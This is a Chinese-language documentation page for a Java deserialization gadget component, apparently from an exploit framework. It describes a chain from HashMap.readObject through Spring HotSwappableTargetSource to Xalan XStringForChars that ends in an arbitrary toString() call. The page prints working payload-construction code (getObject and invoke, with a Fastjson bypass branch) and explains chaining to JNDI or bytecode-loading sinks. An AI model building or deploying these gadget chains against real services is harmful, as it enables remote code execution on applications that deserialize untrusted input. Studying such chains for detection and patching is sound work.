- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
spring-aop:org.springframework.aop.target.HotSwappableTargetSource、xalan:xalan:2.6.0
把内层对象包进 HotSwappableTargetSource,与一个 org.apache.xpath.objects.XStringForChars(Xalan 外置库版本,非 JDK 内置)一起放入一个 哈希碰撞的 HashMap。当 HashMap.readObject 反序列化并重建桶时触发 key 的 equals,经 HotSwappableTargetSource#equals → XStringForChars#equals 最终对内层对象调用任意 toString()。是「Java 原生/Hessian 反序列化 → 任意 toString」的经典跳板,且不依赖 JDK 内置 xalan(适配 xalan 被独立打包的环境,如高版本 JDK 移除 com.sun.org.apache.xpath.internal 或类加载受限时)。
- 入口
tags:JavaNativeDeserialize、HessianDeserialize—— 承接 Java 原生反序列化或 Hessian 反序列化入口(HashMap.readObject在两者中都会被触发)。 - 衔接
nextTags:ToString—— 之后需接一个「在toString()中触发危险行为」的 gadget(如BadAttributeValueExpExceptionToString之外的各类*ToStringsink、JdbcRowSetImpl变体、Fastjson*ToString等)。 excludes:无。
核心在 getObject 与 invoke:
public Object getObject(Object object) throws Exception {
XStringForChars xString = new XStringForChars(new char[0], 0, 0); // 空字符数组构造,str() 结果为 ""
Reflections.set(xString, "m_strCache", ""); // 预置字符串缓存,避免 equals 时重算/NPE
HotSwappableTargetSource h1 = new HotSwappableTargetSource(object); // h1 包裹「真正要触发 toString 的内层对象」
HotSwappableTargetSource h2 = new HotSwappableTargetSource(xString);// h2 包裹 XStringForChars
HashMap map = PayloadHelper.makeMap(h1, h2); // 构造两 key hashCode 碰撞的 HashMap
return map;
}- 碰撞式 HashMap:
PayloadHelper.makeMap(h1, h2)生成一个把h1、h2放进同一个桶的HashMap(两者序列化后 hashCode 相同)。反序列化时HashMap.readObject → putVal发现桶内已有 key,遂调用h2.equals(h1)(或h1.equals(h2))比较。 - HotSwappableTargetSource 桥接:Spring 的
HotSwappableTargetSource#equals实现是this.target.equals(other.target),于是转成xString.equals(object)。 - XString#equals 触发 toString:
XStringForChars继承自 Xalan 的XString,其equals(Object obj2)在对端不是 XString/Number/Boolean 时执行str().equals(obj2.toString())—— 这一步对object(即内层 gadget 产物)调用了toString(),把控制权交给下游ToStringsink。 m_strCache=""的意义:str()会用字符数组拼字符串并缓存到m_strCache;空数组本会得到 "",此处直接反射写入""作为缓存,规避构造/序列化过程中对内部字符缓冲的依赖,保证str()稳定返回空串、equals顺利进入obj2.toString()分支。
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context); // 取内层对象(下游 ToString gadget 产物)
Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
Object resultObject = this.getObject(object);
if (getterObject != null) {
return CommonMethod.listWrap(getterObject, resultObject); // Fastjson 绕过场景:额外包一层 List
}
return resultObject;
}invoke 遵循「由内向外」构建:先 chain.doCreate 取得内层对象,再 getObject 把它裹进碰撞 Map。若上下文里存在 FASTJSON_HANDLE_BYPASS_KEY(Fastjson 处理绕过),则用 CommonMethod.listWrap 再包一层 List,否则直接返回该 Map。
本类无 @Param,无用户可配字段;触发目标(下游 toString 逻辑)完全由链上下一环决定。
- 依赖
spring-aop提供HotSwappableTargetSource(其equals用 target 相等性比较,是碰撞桥的关键)。 - 依赖
xalan:xalan:2.6.0提供外置org.apache.xpath.objects.XStringForChars。这是与同族 XString2 的唯一区别:XString2用 JDK 内置com.sun.org.apache.xpath.internal.objects.XStringForChars,而本类用独立 Xalan 库版本——当目标 classpath 引入了独立 xalan(或 JDK 已移除内置 xpath 实现)时改用本变体。 - 原理链:
HashMap#readObject => HotSwappableTargetSource#equals => XStringForChars#equals => 任意对象 toString()。 - 触发不依赖比较器/getter,仅需
toString语义,因此下游 sink 选择面广。
usedInChains 为空 —— 自由构件,未直接出现在 51 条预设链中。作为「JavaNative/Hessian → ToString」入口段,可与任意 nextTags=ToString 的 sink 自由组合。
- 同族(同一 toString 跳板家族,仅内部 XString 载体不同):
- XalanXString1(Xalan
XString)、XalanXString3(XalanXStringForFSB) - JDK 内置版:XString1、XString2、XString3
- XalanXString1(Xalan
- 下游(
nextTags=ToString):各类*ToStringsink 及JdbcRowSetImpl等在toString中触发 JNDI/字节码加载的 gadget。